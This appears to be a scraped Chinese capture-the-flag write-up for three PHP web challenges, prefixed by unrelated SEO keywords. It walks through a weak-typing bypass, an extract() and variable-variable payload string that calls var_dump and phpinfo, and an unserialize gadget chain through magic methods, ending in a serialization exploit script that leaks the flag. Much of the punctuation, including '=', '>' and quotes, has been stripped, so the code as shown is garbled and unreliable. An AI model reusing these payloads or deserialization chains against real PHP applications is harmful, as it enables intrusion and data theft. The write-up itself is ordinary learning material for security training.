最好的网站推广软件,关于做视频网站的一些代码,科技网站推荐,佘山做网站公司1.除夕
php的弱类型#xff0c;用小数点绕过 这里后面直接加字母不行 2.初三 error_reporting(0);
extract($_GET);
include flag.php;
highlight_file(__FILE__);
这里通过extract将get的参数导入为了变量 $_function($__,$___){return $__$___?$___:$__;
}; …1.除夕
php的弱类型用小数点绕过 这里后面直接加字母不行 2.初三 error_reporting(0);
extract($_GET);
include flag.php;
highlight_file(__FILE__);
这里通过extract将get的参数导入为了变量 $_function($__,$___){return $__$___?$___:$__;
};
这里通过了
$_是这个函数的变量 $__ $___是函数接收到的参数
通过三元运算 即 $__ $___ 来比较参数是不是相同相同返回$__ 不相同返回$___
$$__($_($_GET{$___
}[$____]{$_____
}(),$flag));$$__($_($_GET{$___}[$____]{$_____}(),$flag));
这里$$__和后面的分开来看$_就是上面的自定义函数这里我们分析函数是没有输出能力的所以$$__就是var_dump用于输出后面的内容回到函数 传入的第一个参数$__就是$_GET{$___}[$____]{$_____}()第二个参数就是$flag回到上面的函数中我们要输出$flag 就是输出$___在上面的三元运算中知道,$__和$___一样就会返回$___所以我们构造$_GET{$___}[$____]{$_____}()为$flag 或者为true
这里配合extract我们就可以传入$__的参数为var_dump 即 /?__aavar_dump
因为还有()所以是个无参函数,
?php
phpinfo() zx;
//bool(true)
弱类型中phpinfo()是true这里使用phpinfo
这里的
$_GET{$___}[$____]{$_____}
这里的三个$___ $____ $_____都是通过_get获取的这里也是个三维数组其中第一维的键名为$___,第二维为$____,第三维为$_____我们可以传入类似/?___b____c_____d的get请求这个就是一个三维数组$_GET[b][c][d],所以我们构造[b][c][d]phpinfo,最后我们再传入x[b][c]phpinfo,就完成了三维数组的构造
?__aavar_dump___b____c_____d[b][c][d]phpinfo 3.初六
?php/*
# -*- coding: utf-8 -*-
# Author: h1xa
# Date: 2023-01-18 08:46:07
# Last Modified by: h1xa
# Last Modified time: 2023-01-18 11:19:09
# email: h1xactfer.com
# link: https://ctfer.com*/include flag.php;class happy2year{private $secret;private $key;function __wakeup(){$this-secret;}function __call($method,$argv){return call_user_func($this-key, array($method,$argv));}function getSecret($key){$key$key?$key:$this-key;return $this-createSecret($key); }function createSecret($key){return base64_encode($this-key.$this-secret);}function __get($arg){global $flag;$argget.$arg;$this-$arg $flag;return $this-secret;}function __set($arg,$argv){$this-secretbase64_encode($arg.$argv);}function __invoke(){return $this-$secret;}function __toString(){return base64_encode($this-secret().$this-secret);}function __destruct(){$this-secret ;}}highlight_file(__FILE__);
error_reporting(0);
$data$_POST[data];
$key $_POST[key];
$obj unserialize($data);
if($obj){$secret $obj-getSecret($key);print(你提交的key是.$key.\n生成的secret是.$secret);
highlight_file(__FILE__);
error_reporting(0);
$data$_POST[data];
$key $_POST[key];
$obj unserialize($data);
if($obj){$secret $obj-getSecret($key);print(你提交的key是.$key.\n生成的secret是.$secret);
通过这一段我们知道反序列化后先回调用getSecret而在happy2year中 function createSecret($key){return base64_encode($this-key.$this-secret);}
这里把两个变量进行了拼接也就是把对象当作了字符串会触发tostring function __toString(){return base64_encode($this-secret().$this-secret);}
里面调用了secret方法而不存在这个方法所以回触发call function __call($method,$argv){return call_user_func($this-key, array($method,$argv));}
通过$key $_POST[key];我们找到了可以构造的参数key
在回调函数中第一个是函数 也就是这里的$this_key被当成了函数执行回调用invoke
function __invoke(){return $this-$secret;}
调用了$this-$secret 但是secret是私有属性触发get function __get($arg){global $flag;$argget.$arg;$this-$arg $flag;return $this-secret;}
get中$argget 拼接 $arg 而get$arg他接收的就是secret 也就是$arg‘getsecret’
然后$this-$arg$flag
给一个未定义的属性赋值时触发__set function __set($arg,$argv){$this-secretbase64_encode($arg.$argv);}
set中接收$arg $argv $arg就是getsecret argv就是接收的数据$flag
这样.sercrt里面就有了flag
exp
?php
class happy2year{private $secret;private $key;function __construct(){$this-key$this;}}
$anew happy2year();
echo urlencode(serialize($a));? 三次base解码得到flag